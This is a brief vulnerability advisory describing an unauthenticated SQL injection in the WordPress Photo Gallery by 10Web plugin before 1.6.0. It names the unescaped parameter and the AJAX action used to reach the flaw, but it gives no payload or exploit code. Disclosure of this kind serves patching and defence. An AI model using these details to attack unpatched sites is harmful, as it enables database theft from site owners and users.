WordPress Plugin Vulnerabilities
Photo Gallery by 10Web < 1.6.0 - Unauthenticated SQL Injection
Description
The plugin does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection
